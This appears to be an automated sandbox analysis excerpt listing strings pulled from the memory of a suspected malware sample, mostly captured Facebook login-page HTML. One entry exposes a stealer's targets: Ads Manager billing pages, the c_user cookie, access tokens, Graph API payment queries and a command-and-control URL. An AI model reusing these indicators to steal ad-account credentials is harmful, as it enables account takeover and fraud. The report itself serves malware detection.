title="Learn how to manage and control your privacy on Facebook.">Privacy Center</a></li><li><a href="/groups/discover/" title="Explore our Groups.">Groups</a></li><li><a href="https://about.meta.com/" accesskey="8" title="Read our blog, discover the resource center, and find job opportunities.">About</a></li><li><a href="/ad_campaign/landing.php?placement=pflo&campaign_id=402047449186&nav_source=unknown&extra_1=auto" title="Advertise on Facebook.">Create Ad</a></li><li><a href="/pages/create/?ref_type=site_footer" title="Create a page">Create Page</a></li><li><a
Source: aafg31.exe, 00000015.00000002.618169870.000001E29018F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.558924559.000001E292285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: +www.facebook.com equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvZNg","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmSHrY","isCQuick":false});</script><script nonce="su6L2Zt4">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="su6L2Zt4"></style><script nonce="su6L2Zt4">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0,cross/6MB_F4yiWj8.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="HLTHBFO" /> equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E2900FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: 36 www.facebook.com.comG equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E2901D2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: 60,fda:60,i:60,sbs:1,dbs:100,bbs:100,hbi:60,rt:262144,hbcbc:2,hbvbc:0,hbbi:30,sid:-1,hbv:"6041888917634349990"}]],["NavigationMetrics","setPage",[],[{page:"XWebLoginController",page_type:"normal",page_uri:"https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F",serverLID:"7238151353393430648"}]],["FalcoLoggerTransports","attach",[],[]],["ClickRefLogger"],["DetectBrokenProxyCache","run",[],[0,"c_user"]],["NavigationClickPointHandler"],["WebDevicePerfInfoLogging","doLog",[],[]],["WebStorageMonster","schedule",[],[]],["Artillery","disable",[],[]],["ScriptPathLogger","startLogging",[],[]],["TimeSpentBitArrayLogger","init",[],[]],["DeferredCookie","addToQueue",[],["_js_datr","TRRzZOJtFfiLffYaKBZrZHu0",63072000000,"/",true,false,true,".facebook.com"]],["DeferredCookie","addToQueue",[],["_js_sb","TRRzZH3yz5rPlL6KEQlNk9hL",63072000000,"/",false,false,true,".facebook.com"]],["TransportSelectingClientSingletonConditional"],["RequireDeferredReference","unblock",[],[["TransportSelectingClientSingletonConditional"],"sd"]],["RequireDeferredReference","unblock",[],[["TransportSelectingClientSingletonConditional"],"css"]]]},hsrp:{hsdp:{clpData:{"1743095":{r:1,s:1},"1871697":{r:1,s:1},"1829319":{r:1},"1829320":{r:1},"1843988":{r:1}},gkxData:{"1652843":{result:false,hash:"AT6uh9NWRY4QEQoY6tY"}}},hblp:{consistency:{rev:1007577559},rsrcMap:{zPYlTyl:{type:"js",src:"https://static.xx.fbcdn.net/rsrc.php/v3/yO/r/_tJ17sGyx equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="AWGLzne9">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvXGo","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmS9OI","isCQuick":false});</script><script nonce="AWGLzne9">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="AWGLzne9"></style><script nonce="AWGLzne9">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0,cross/6MB_F4yiWj8.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="HLTHBFO" /> equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.643560384.000001E292292000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="sjAjnDCw">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvL80","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmStDY","isCQuick":false});</script><script nonce="sjAjnDCw">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="sjAjnDCw"></style><script nonce="sjAjnDCw">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php? equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="sjAjnDCw">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvL80","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmStDY","isCQuick":false});</script><script nonce="sjAjnDCw">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="sjAjnDCw"></style><script nonce="sjAjnDCw">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0,cross/6MB_F4yiWj8.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="HLTHBFO" /> equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.558924559.000001E292285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="su6L2Zt4">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvZNg","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmSHrY","isCQuick":false});</script><script nonce="su6L2Zt4">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="su6L2Zt4"></style><script nonce="su6L2Zt4">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php? equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.558924559.000001E292285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="su6L2Zt4">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvZNg","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmSHrY","isCQuick":false});</script><script nonce="su6L2Zt4">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="su6L2Zt4"></style><script nonce="su6L2Zt4">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?X equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.558924559.000001E292285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="su6L2Zt4">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvZNg","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmSHrY","isCQuick":false});</script><script nonce="su6L2Zt4">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="su6L2Zt4"></style><script nonce="su6L2Zt4">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0,cross/6MB_F4yiWj8.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="HLTHBFO" /> equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="v6hVXULl">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvdLY","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmSTo8","isCQuick":false});</script><script nonce="v6hVXULl">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="v6hVXULl"></style><script nonce="v6hVXULl">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0,cross/6MB_F4yiWj8.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="HLTHBFO" /> equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E2901D2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: >ndsLoggerBlue"],{__rc:["TimeSpentImmediateActiveSecondsLoggerBlue","Aa38964k_L9V5Vp-L9FMl9QcilWcbTzxa7P-tCC1TKg66e-UFn_IhnRAzkm8k9K0jUTcE8w5QCIPSkGsQGHj2KzFo2E"]},-1],["cr:1187159",["BlueCompatBroker"],{__rc:["BlueCompatBroker","Aa38964k_L9V5Vp-L9FMl9QcilWcbTzxa7P-tCC1TKg66e-UFn_IhnRAzkm8k9K0jUTcE8w5QCIPSkGsQGHj2KzFo2E"]},-1],["cr:5800",[],{__rc:[null,"Aa0PQSpSuKFzVuGWXpCDpbxb9-wT9v-J3lTAIwoa_QUNrS_WxfvOEoc8xxAanyhyA426AM3ENQeViYi2_DKjRXCzDrY"]},-1],["ImmediateActiveSecondsConfig",[],{sampling_rate:0},423]],require:[["BDClientSignalCollectionTrigger","startSignalCollection",[],[{sc:"{\"t\":1659080345,\"c\":[[30000,838801],[30001,838801],[30002,838801],[30003,838801],[30004,838801],[30005,838801],[30006,573585],[30007,838801],[30008,838801],[30012,838801],[30013,838801],[30015,806033],[30018,806033],[30021,540823],[30022,540817],[30040,806033],[30093,806033],[30094,806033],[30095,806033],[30101,541591],[30102,541591],[30103,541591],[30104,541591],[30106,806039],[30107,806039],[38000,541427],[38001,806643]]}",fds:60,fda:60,i:60,sbs:1,dbs:100,bbs:100,hbi:60,rt:262144,hbcbc:2,hbvbc:0,hbbi:30,sid:-1,hbv:"6041888917634349990"}]],["NavigationMetrics","setPage",[],[{page:"XWebLoginController",page_type:"normal",page_uri:"https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F",serverLID:"7238151308987296342"}]],["FalcoLoggerTransports","attach",[],[]],["NavigationClickPointHandler"],["WebDevicePerfInfoLoggi6 equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.643560384.000001E292292000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Alt-Svch3=":443"; ma=86400X-FB-Debug2KSYAd1WnQtaW97D5YdXSu/KFVQqUVPbOW6Fv8JVpTJ5VVP7tdpigSjxHIQ4gel1nMTD8YzpLqvYX0UbB8U2jQ==origin-agent-cluster?0X-Frame-OptionsDENYX-XSS-Protection0X-Content-Type-Optionsnosniffcross-origin-opener-policyunsafe-nonepermissions-policyaccelerometer=(), ambient-light-sensor=(), bluetooth=(), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), midi=(), screen-wake-lock=(), serial=(), usb=()document-policyforce-load-at-topcontent-security-policydefault-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;x-fb-rlafr0report-to{"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}Persistent-AuthWWW-AuthenticateAccept-EncodingVarySet-CookieServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedSat, 01 Jan 2000 00:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset="utf-8"Content-TypeContent-LengthAllowWarningViaUpgradechunkedTransfer-EncodingTrailerno-cachePragmaKeep-AliveSun, 28 May 2023 08:43:58 GMTDateProxy-ConnectioncloseConnectionprivate, no-cache, no-store, must-revalidateCache-Controlttps://edgeqqwL equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.558924559.000001E292285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Alt-Svch3=":443"; ma=86400X-FB-Debugp7ZpyWmk1j0SAVhAqFTBTdvWIMMZWb3wru7yGT0dAx/b8QuuHDzfsXyCMZkSgslDnEHGDQH/JpX7m6DLuzk45g==origin-agent-cluster?0X-Frame-OptionsDENYX-XSS-Protection0X-Content-Type-Optionsnosniffcross-origin-opener-policyunsafe-nonepermissions-policyaccelerometer=(), ambient-light-sensor=(), bluetooth=(), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=()document-policyforce-load-at-topcontent-security-policydefault-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;x-fb-rlafr0report-to{"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}Persistent-AuthWWW-AuthenticateAccept-EncodingVarySet-CookieServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedSat, 01 Jan 2000 00:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset="utf-8"Content-TypeContent-LengthAllowWarningViaUpgradechunkedTransfer-EncodingTrailerno-cachePragmaKeep-AliveSun, 28 May 2023 08:43:32 GMTDateProxy-ConnectioncloseConnectionprivate, no-cache, no-store, must-revalidateCache-Control equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.536328254.000001E292290000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616875927.000001E2922E5000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.643832144.000001E2922E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Host: www.facebook.com equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: InitOnceExecuteOnceCreateSemaphoreWCreateSemaphoreExWCreateThreadpoolTimerSetThreadpoolTimerWaitForThreadpoolTimerCallbacksCloseThreadpoolTimerCreateThreadpoolWaitSetThreadpoolWaitCloseThreadpoolWaitFlushProcessWriteBuffersFreeLibraryWhenCallbackReturnsGetCurrentProcessorNumberCreateSymbolicLinkWGetCurrentPackageIdSetFileInformationByHandleInitializeConditionVariableWakeConditionVariableInitializeSRWLockAcquireSRWLockExclusiveTryAcquireSRWLockExclusiveReleaseSRWLockExclusiveSleepConditionVariableSRWCreateThreadpoolWorkSubmitThreadpoolWorkCloseThreadpoolWorkUnknown exceptionbad array new lengthstring too longmap/set too longMUI1stallinis0tallsisincmaduin_pwuerc_uslndbUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62https://www.facebook.com/ed/login/ice-bas/login/dev"="st"azoe"jsd""luid"=urce""sot=oesjazlsd&d=&uirce=&souxt=&nehttps://www.facebook.com/login/device-based/login/c_uonkieJscooocohttps://adsmanager.facebook.com/ads/manager/account_settings/account_billing/D:accountI{accountIdpayInfohttps://adsmanager.facebook.com/ads/manager/accounts</tbody>><tbody</tr><tr?act</td> <tdlastRowdata-sortpaidbilling_statushttps://adsmanager.facebook.com/ads/manager/account_settings/account_billing/?act=&pid=p1&page=account_settings&tab=account_billing_settingsaccess_token:{accountID:https://graph.facebook.com/v15.0/act_fb_uid?access_token=fb_access_token&_reqName=adaccount&_reqSrc=AdsCMPaymentsAccountDataDispatcher&fields=%5B%22active_billing_date_preference%7Bday_of_month%2Cid%2Cnext_bill_date%2Ctime_created%2Ctime_effective%7D%22%2C%22can_pay_now%22%2C%22can_repay_now%22%2C%22current_unbilled_spend%22%2C%22extended_credit_info%22%2C%22is_br_entity_account%22%2C%22has_extended_credit%22%2C%22max_billing_threshold%22%2C%22min_billing_threshold%22%2C%22min_payment%22%2C%22next_bill_date%22%2C%22pending_billing_date_preference%7Bday_of_month%2Cid%2Cnext_bill_date%2Ctime_created%2Ctime_effective%7D%22%2C%22promotion_progress_bar_info%22%2C%22show_improved_boleto%22%2C%22business%7Bid%2Cname%2Cpayment_account_id%7D%22%2C%22total_prepay_balance%22%2C%22is_in_3ds_authorization_enabled_market%22%2C%22current_unpaid_unrepaid_invoice%22%2C%22has_repay_processing_invoices%22%5D&include_headers=false&method=get&pretty=0&suppress_http_code=1fb_uidfb_access_tokencan_pay_nowhttps://business.facebook.com/selectbusiness_id=businessookmarkshttps://www.facebook.com/pages/?category=your_pages&ref=b}:unt"le_switcher_eligible_profiles":{"co"profiageomePhasHmePhasHohttp://ss.apjeoighw.com/check/safe{"sid":0,"time":0,"rand_str":""}http://ss.apjeoighw.com/check/?sid=si#IO$J2&89DFJ2^984%7FJfj<>asi?h3.728*fhastime_strandrJOhf01(92)3j5kl3;4y:jdF9%3gj,IH@<F7>84\|8y&keinvalid vector subscriptinvalid string positionvector too long equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Location: https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F equals www.facebook.com (Facebook)
Source: D804.exe, 00000013.00000003.475009624.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: D804.exe, 00000013.00000003.475504479.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
